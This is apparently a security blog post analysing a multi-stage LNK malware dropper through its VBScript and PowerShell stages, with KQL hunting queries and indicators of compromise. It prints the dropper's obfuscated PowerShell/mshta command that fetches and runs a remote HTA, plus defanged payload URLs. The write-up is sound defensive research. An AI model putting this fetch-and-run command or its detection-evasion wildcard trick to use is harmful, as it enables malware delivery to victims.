Analyzing a Multi-Stage LNK Dropper

montysecurity
5 min readOct 19, 2023

--

Introduction

LNK files are Windows shortcut files that are common during initial access. The Malware Hunter Team recently tweeted about a sample. I dove in to unravel it and it turned out to be a fairly interesting one involving VBScript and PowerShell; if you spot a mistake in the analysis, just DM me :)

Initial Payload

Stage 1

The first thing it tries to do is run this PowerShell.

powershell.exe . $env:C:\W*\S*2\m*h?a.* hxxps[://]transfer[.]sh/get/lh5GYX28yu/ukraine2023[.]hta

This is also confirmed by downloading and examining the LNK file properties.

The special characters are used to bypass command-line-focused detections (John Hammond did an in-depth video on this technique). This ultimately ends up just being mshta.exe downloading and running a HTML Application (HTA), which is a tried and true technique. Taking the obfuscation out, here is the command being ran:

mshta.exe hxxps[://]transfer[.]sh/get/lh5GYX28yu/ukraine2023[.]hta

Moving on to the HTA payload. Luckily it was still live so we got the hash via VT.

Stage 2

https://www.virustotal.com/gui/file/012ff7f330be65b3a5b6ed78e1bdd656d3a547b15fa38dfa61150b4f8308aa37 (this hash is the Body SHA256 from the URL above)

After downloading and opening the file, we see obfuscated VBScript.

After some time cleaning up the code, I get the following. Here is my CyberChef recipe.

The main part of this stage is this function that is performing math on an array of integers.

VBS Original
VBS Decoded

My understanding of this is essentially that it checks to make sure that ARRAY_OF_INTEGERS is in fact an array then loops through the array, subtracts 58209 from each number in a long array of integers elsewhere in the code, and then writes the output to CONCAT_RESULT.

Reference on why it used (7000 + 1204) to check if it was an array: StackOverflow

The integers are ANSI representations of characters so I created a little python script to do the conversions for me. Here is an ANSI conversion chart.

Decode Payload Script

We are left with another obfuscated payload, this time in PowerShell. I added spacing for readability, the original output had minimal spacing.

Stage 3

Part of the original PowerShell (with spacing)

This is also supported by VT on the original sample.

Stage 3 PowerShell Original

This one took more time to clean up but here is my CyberChef recipe.

Breaking this down by function.

Shift Cipher

The first function to point out is a PowerShell implementation of the shift cipher seen in the VBScript. This serves as a “supporting” function for the rest of the code. Only this time it uses 56774 instead of 58209 as the number to subtract from.

Original
Decoded

Initial Infection Check

This function is technically the first function ran and it checks to see if a C:\Users\<USER>\AppData\Roaming\dogs.exe exists . If not then it downloads it.

Original
Decoded

Download Payload

This calls the shift cipher from above to decode the URL to the payload and then download the next stage. Supplying the integer array from the download function to the shift cipher outputs the following URL:

hxxp[://]89[.]23[.]96[.]63/dogs.exe.

Original
Decoded
Decode the Payload

Payload Handler

Looking back at the “Initial Infection Check”, the next step, after the download, is running the payload. This is the most interesting bit to me because it checks for the next stage to be an “.dll”, “.ps1”, “.msi”, or other (and in this sample is an EXE, seen in the screenshot above).

Original
Decoded

By supplying the integer arrays from the if statements above to the same shift cipher from earlier, we get the file extensions it expects the next stage to be (dll, ps1, or msi). In the event that none of those extensions are found, it just tries Start-Process to run the payload.

Decode the Extension Check

To me, this seems to imply this particular point in the chain is a type of loader in itself. Strictly speaking, this could handle all 3 file types just by changing the values in FIRST_FUNCTION_RAN, specifically the “dogs.exe” and the integer array that decodes to the URL.

Decoded

Stage 4

In this sample, stage 4 is “dogs.exe”.

Decoding the payload URL

Checking this in VT shows it is still up.

Checking VT for Stage 4

Which leads to this executable.

Just a cursory glance at the file in VT shows setting persistence via schtasks, defense evasion via the use of %COMSPEC%, and execution of encoded VBScript (.vbe) via wscript.exe. (Not diving into stage 4 any further as I wanted to focus on the loader itself but here is a screenshot of some of the behaviors.)

Some of stage 4 behaviors

Detections/Hunts

Initial Download

DeviceProcessEvents
| where FileName =~ “mshta.exe”
| where ProcessCommandLine has_any (“https”, “http”) or ProcessCommandLine contains “://”

Payload Handler

DeviceProcessEvents
| where FileName in~ (“powershell.exe”, “pwsh.exe”)
| where ProcessCommandLine has_all (“rundll32”, “powershell”, “msiexec”, “Start-Process”)

Download Payload

DeviceProcessEvents
| where FileName in~ (“powershell.exe”, “pwsh.exe”)
| where ProcessCommandLine has_all (“DownloadData”, “WriteAllBytes”)

Shift Cipher

DeviceProcessEvents
| where FileName in~ (“powershell.exe”, “pwsh.exe”)
| where ProcessCommandLine contains “+=[char]”

IOCs

1dc3418db90285df1aed8b120ad83874a7de713d8def7c30ac3d0c30f635163b
3c2c9a24c91b8f2174d90b883cb5b0179c0095cf
b5ea464e454b3ecad23bd94e4415654a

012ff7f330be65b3a5b6ed78e1bdd656d3a547b15fa38dfa61150b4f8308aa37
d7d6c6a4bb15cc3e1396af36acdb95e455daa4f4
d0a003975d56af59b6b52899341c0f86

hxxps[://]transfer[.]sh/get/lh5GYX28yu/ukraine2023[.]hta
hxxp[://]89[.]23[.]96[.]63/dogs.exe

--

--